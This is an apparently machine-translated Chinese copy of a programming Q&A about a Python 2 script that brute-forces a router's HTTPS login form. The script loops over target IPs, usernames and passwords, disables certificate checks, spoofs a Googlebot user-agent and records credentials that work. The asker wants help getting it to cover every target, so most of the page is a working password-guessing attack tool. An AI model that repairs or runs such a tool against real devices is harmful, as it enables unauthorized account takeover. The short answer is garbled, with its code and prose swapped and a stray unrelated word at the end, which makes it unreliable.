python中的三个嵌套for循环失败

时间:2016-03-19 17:13:46

标签: python nested-loops

我正在尝试编写一个带有三个嵌套For循环的HTML Form brute forcer,一个用于USER的一个用于USER,另一个用于PASSWORDS,但是我的代码尝试所有正确的用户:传递第一个IP地址的组合,写入三次找到一个然后失败。我想尝试所有用户:为所有三个IP地址传递组合。这是代码:

import ssl
import base64
import sys
import urllib
import urllib2
import socket
ssl._create_default_https_context = ssl._create_unverified_context
if len(sys.argv) !=4:
        print "usage: %s userlist passwordlist" % (sys.argv[0])
        sys.exit(0)
filename1=str(sys.argv[1])
filename2=str(sys.argv[2])
#filename3=str(sys.argv[3])
userlist = open(filename1,'r')
passwordlist = open(filename2,'r')
#targets = open(filename3,'r')
targets = ['192.168.2.1', '192.168.2.1', '192.168.2.2']

#url = "https://192.168.2.1:8443/login.cgi"
foundusers = []
foundcreds = []
OkStr="url=index.asp"
headers = {}
headers['User-Agent'] = "Googlebot"
i=0
for ip in targets:
        url = "https://"+ip.rstrip()+":8443/login.cgi"
        for user in userlist.readlines():
                for password in passwordlist.readlines():
                        credentials=base64.b64encode(user.rstrip()+':'+password.rstrip())
                        #print "trying "+user.rstrip()+':'+password.rstrip()
                        data = urllib.urlencode({'login_authorization': credentials})
                        try:
                                req = urllib2.Request(url, data, headers=headers)
                                request = urllib2.urlopen(req, timeout = 3)
                                response = request.read()
                                print 'ip=%r user=%r password=%r' % (ip, user, password)  
                                #print "[%d]" % (request.code)
                                if (response.find(OkStr)>0):
                                        foundcreds.append(user.rstrip()+':'+password.rstrip())
                                request.close()
                        except urllib2.HTTPError, e:
                                print "[-] Error = "+str(e)
                                pass
                        except socket.timeout, e:
                                print "[-] Error = "+str(e)
                                pass
                        except ssl.SSLError, e:
                                print "[-] Error = "+str(e)
                                pass
                        except urllib2.URLError, e :
                                print "[-] Error = "+str(e)
                                pass                                                

        if len(foundcreds)>0:
                print "Found User and Password combinations:\n"
                for name in foundcreds:
                        print name+"\n"
        else:
                print "No users found\n"

这是输出:

ip='192.168.2.1' user='admin\n' password='asd\n'
ip='192.168.2.1' user='admin\n' password='qwer\n'
ip='192.168.2.1' user='admin\n' password='rews\n'
ip='192.168.2.1' user='admin\n' password='test\n'
Found User and Password combinations:

admin:test

Found User and Password combinations:

admin:test

Found User and Password combinations:

admin:test

1 个答案:

答案 0 :(得分:1)

要实施P. Brunet的建议,请更改:

userlist = open(filename1,'r').readlines()
passwordlist = open(filename2,'r').readlines()

为:

.readlines()

然后从迭代器中删除JedisConnection